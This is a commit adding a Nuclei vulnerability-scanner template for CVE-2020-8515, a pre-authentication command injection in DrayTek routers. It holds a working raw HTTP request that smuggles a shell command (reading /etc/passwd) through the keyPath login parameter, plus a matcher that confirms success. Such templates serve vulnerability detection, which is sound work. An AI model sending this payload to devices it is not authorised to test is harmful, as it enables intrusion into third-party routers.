Create CVE-2020-8515
parent
0ba5cb746f
commit
ee82f8364e
|
@ -0,0 +1,28 @@
|
||||||
|
id: CVE-2020-8515
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: DrayTek pre-auth RCE
|
||||||
|
author: pikpikcu
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# References:
|
||||||
|
# https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
|
||||||
|
# https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /cgi-bin/mainfunction.cgi HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||||
|
Accept: */*
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: regex
|
||||||
|
regex:
|
||||||
|
- "root:[x*]:0:0:"
|
||||||
|
part: body
|
Loading…
Reference in New Issue